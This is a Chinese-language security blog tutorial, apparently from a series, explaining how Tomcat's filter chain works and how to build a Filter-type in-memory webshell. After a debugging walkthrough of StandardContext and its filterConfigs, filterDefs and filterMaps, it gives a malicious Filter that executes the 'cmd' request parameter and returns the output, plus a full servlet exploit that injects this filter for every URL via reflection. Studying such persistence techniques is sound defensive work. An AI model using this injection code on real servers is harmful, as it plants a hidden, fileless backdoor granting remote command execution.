前言
今天要学习的是Filter型的内存马。
回忆一下,Filter相当于一个守门员,在请求到达servlet之前和响应包到达客户端之前都会对数据包进行拦截,并进行检查。而Filter一般是成链存在的。

向图示一样,我们知道Filter被调用会按照顺序执行filter1,filter2这样,这样如果filter1是我们创建的,并且他里面存在恶意代码的话,当Filter被调用时,就会执行恶意命令。这就是Filter型内存马的基本原理。
Filter工作流程
接下来我们来分析一下Filter的工作流程
项目搭建的话我还是用之前的一个项目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; @WebFilter(urlPatterns = "/filter") public class Filterdemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("init"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("request go"); chain.doFilter(request, response); System.out.println("response go"); } @Override public void destroy() { } }
|
这里我直接用的注解,大家也可以写在web.xml里
1 2 3 4 5 6 7
| <web-app> <display-name>Archetype Created Web Application</display-name> <filter> <filter-name>filter</filter-name> <filter-class>Filterdemo</filter-class> </filter> <filter-mapping> <filter-name>filter</filter-name> <url-pattern>/filter</url-pattern> </filter-mapping></web-app>
|

在/filter之后的分析
在分析之前先要再添加两个依赖包
1 2 3 4 5 6 7 8 9 10 11
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.81</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-websocket</artifactId> <version>8.5.81</version> <scope>provided</scope> </dependency>
|
接下来我们开始进行链子的调试分析

从第一个Filter的chain.doFilter开始
步入之后是对全局安全服务是否开启的一个判断

继续向下执行

这里调用了internalDoFilter方法,顾名思义,内部的DoFilter
步入

到这里我们可以看到filter是从filterConfig中获取的,filterConfig来自filters,filters又来自private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
这里的0和1代表着我们自己创建的一个filter和tomcat自带的一个filter,这里我们自己创建的doFilter是正在执行中的哦。
继续向下走

到这里对doFilter的调用,这里的Filter就是tomcat自带的那个Filter了。
步入

我们会发现他调用了chain.doFilter
步入之后又回到了我们之前的操作,过完之后

发现这里调用了service,因为我们就写了一个Filter,最后一个是tomcat自带的,所以调用最后一个之后直接就会调用service了。
总结:当一个Filter被调用之后就会调用doFilter方法里的chain.doFilter方法,来调用下一个Filter的doFilter方法,在调用chain.doFilter方法,以此循环,直到调用到最后一个chain,doFilter方法,进入service。
在/filter之前的分析
采取的是逆向分析,从Engine的最后一个阀门StandardEngineValue开始分析

这里的invoke调用的是AbstractAccessLogValve类的invoke,然后就会开始一步步的对invoke进行调用,从engine->host->context->wrapper,可以看这张图来理解一下。

调用到最后一个invoke也就是Wrapper的invoke,之后就是对doFilter的调用,这里我们直接跳到StandardWrapperValue的位置。

进入这个类之后,我们重点看FilterChain的创建

步入之后

通过findFilterMaps获得我们现在存在的Filter拦截器,/filter之后的流程我们已经分析过了,这里也就是获得那两个FilterName和要拦截的路径。

在继续向下对FilterMaps进行遍历,遍历完之后调用matchDispattcher方法和matchFilterURL方法进行匹配,匹配成功之后会将Filter添加到链中,这里默认是匹配到tomcat自带的Filter(因为还没有访问/filter,emm在访问/filter之后断下的,应该也是属于访问/filter之前的,那时就会添加到自己写的Filter了)匹配成功之后创建filterConfig,这里的filterConfig是包含了filter具体实例的。

最后就可以将filter添加到filterChain中。
总结
- 通过对管道(Engine,Host等)的逐个调用,到最后一个Wrapper,调用dofilter,将filter传入FilterChain中。
- 准备好FilterChain之后,等请求到来,就可以正常进行doFilter->internalFilter->doFilter,直到最后一个doFilter被调用
- 最后一个doFilter被调用,调用servlet的service。
攻击思路
攻击思路应该时刚刚我们重点提到的FilterMap(拦截器)和FilterConfig(具体实例)这两个。
这两个都是来自StandardContext


FilterConfig是在web.xml中<filter> 标签的程序化表示。
FilterMap是在web.xml中<filter-mapping>标签的程序化表示
Tomcat的Filter内存马攻击思路
还记得我们刚才聊到的攻击思路中是提到StandardContext的
首先想要修改FilterMaps是要可以通过调用StandardContext中的addFilterMap和addFilterMapBefore两个方法的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @Override public void addFilterMap(FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.add(filterMap); fireContainerEvent("addFilterMap", filterMap); } public void addFilterMapBefore(FilterMap filterMap) { validateFilterMap(filterMap); filterMaps.addBefore(filterMap); fireContainerEvent("addFilterMap", filterMap); }
|
其次我们来聊聊StandardContext,这个类。
它是一个容器类,在这个类里面封存着整个web应用程序的数据和对象,并加载了web.xml中配置的多个Servlet和Filter对象以及它们的映射关系。
聊这个的原因是因为这是我们要修改filterConfig的关键点。
在StandardContext中储存了三个重要的值
- filterConfigs:包含真正的 Filter 对象实例,并对Filter进行管理
- filterDefs:对应web.xml中的
<filter>标签,存储着filter的静态数据,例如名字等
- filterMaps: 包含filter和url的映射关系
filterConfigs的成员变量是一个HashMap对象,存有filter的名称和与之对应的ApplicationFilterConfig的键值对。而在ApplicationFilterConfig中又存有Filter对象的实例。
filterDefs的成员变量也是以一个HashMap对象存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps就不用多说了就是记录filter和url的映射关系的
然后在看ApplicationFilterConfig中包含三个比较重要的东西:

StandardContext,filter和filterDef,这时可能会有人有点疑惑,为什么又包含有StandardContext了,举个列子:大家可以将ApplicationFilterConfig当作是工牌,而StandardContext是公司,公司构建了一个册子(filterconfigs)中含有每个人的工牌,对应着上面讲的ApplicationFilterConfig在
StandardContext中,而员工在工作是使用工牌,工牌上不还是得带着公司的名字吗。所以就和ApplicationFilterConfig中包含StandardContext对应上了。StandardContext是为Filter的执行提供了环境。
在说回来,我们一直在找的filterConfig其实在filterStart中就可以添加
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public boolean filterStart() { if (getLogger().isDebugEnabled()) { getLogger().debug("Starting filters"); } boolean ok = true; synchronized (filterConfigs) { filterConfigs.clear(); for (Entry<String,FilterDef> entry : filterDefs.entrySet()) { String name = entry.getKey(); if (getLogger().isDebugEnabled()) { getLogger().debug(" Starting filter '" + name + "'"); } try { ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); filterConfigs.put(name, filterConfig); } catch (Throwable t) { t = ExceptionUtils.unwrapInvocationTargetException(t); ExceptionUtils.handleThrowable(t); getLogger().error(sm.getString( "standardContext.filterStart", name), t); ok = false; } } } return ok; }
|
总结
我们构建内存马的具体思路
- 先获取到StandardContext对象
- 从StandardContext中获取到filterconfigs
- 构建恶意的filter
- 为恶意filter创建filterdef
- 将StandardContext对象和filter和def写入filterconfigs
Filter型内存马的实现
我们在内存马2中有讲到普通内存马的简单实现和有回显的实现,在此,我就不对赘述了。
我们现在来将有回显的内存马插入filter中,创建一个恶意filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import javax.servlet.*; import javax.servlet.annotation.WebFilter; import java.io.IOException; public class Filterdemo implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("init"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("request go"); if(request.getParameter("cmd") != null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len = in.read(buffer)) != -1) { response.getOutputStream().write(buffer, 0, len); } } chain.doFilter(request, response); System.out.println("response go"); } @Override public void destroy() { } }
|

那么我们应该怎么动态的将内存马插入进去呢?这就要考虑如何获取到StandardContext这个类了。
只有获取到这个类我们才能把我们的filterconfigs和filterdef和filtermaps添加进去。
filter型内存马exp
我们可以看一下佬画的一个图

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.ApplicationFilterConfig; import org.apache.catalina.core.StandardContext; import org.apache.coyote.Request; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; @WebServlet(urlPatterns = "/servletexp") public class ServletFilterexp extends HttpServlet { protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException{ try { ServletContext servletContext = req.getSession().getServletContext(); Field declaredField = servletContext.getClass().getDeclaredField("context"); declaredField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) declaredField.get(servletContext); Field declaredField1 = applicationContext.getClass().getDeclaredField("context"); declaredField1.setAccessible(true); StandardContext standardContext = (StandardContext) declaredField1.get(applicationContext); String FilterName = "Filter1"; Field configs = standardContext.getClass().getDeclaredField("filterConfigs"); configs.setAccessible(true); Map filterConfigs = (Map) configs.get(standardContext); if(filterConfigs.get(FilterName) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("init"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("request go"); if(request.getParameter("cmd") != null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int len; byte[] buffer = new byte[1024]; while ((len = in.read(buffer)) != -1) { response.getOutputStream().write(buffer, 0, len); } } chain.doFilter(request, response); System.out.println("response go"); } @Override public void destroy() { } }; Class<?> aClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(); FilterDef o = (FilterDef)declaredConstructor.newInstance(); o.setFilter(filter); o.setFilterName(FilterName); o.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(o); Class<?> aClass1 = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor(); FilterMap o1 = (FilterMap)declaredConstructor1.newInstance(); o1.addURLPattern("/*"); o1.setFilterName(FilterName); standardContext.addFilterMapBefore(o1);; Class<?> aClass2 = Class.forName("org.apache.catalina.core.ApplicationFilterConfig"); Constructor<?> declaredConstructor2 = aClass2.getDeclaredConstructor(org.apache.catalina.Context.class, org.apache.tomcat.util.descriptor.web.FilterDef.class); declaredConstructor2.setAccessible(true); ApplicationFilterConfig o2 = (ApplicationFilterConfig)declaredConstructor2.newInstance(standardContext,o); filterConfigs.put(FilterName, o2); resp.getWriter().write("ok"); } }catch (Exception e){ e.printStackTrace(); } } }
|

文件上传和排查目前先不看了,后面在补
尽量跟着写一遍,然后在自己写一遍,多练练总是有好处的。
参考
Java内存马系列-03-Tomcat 之 Filter 型内存马 | Drunkbaby’s Blog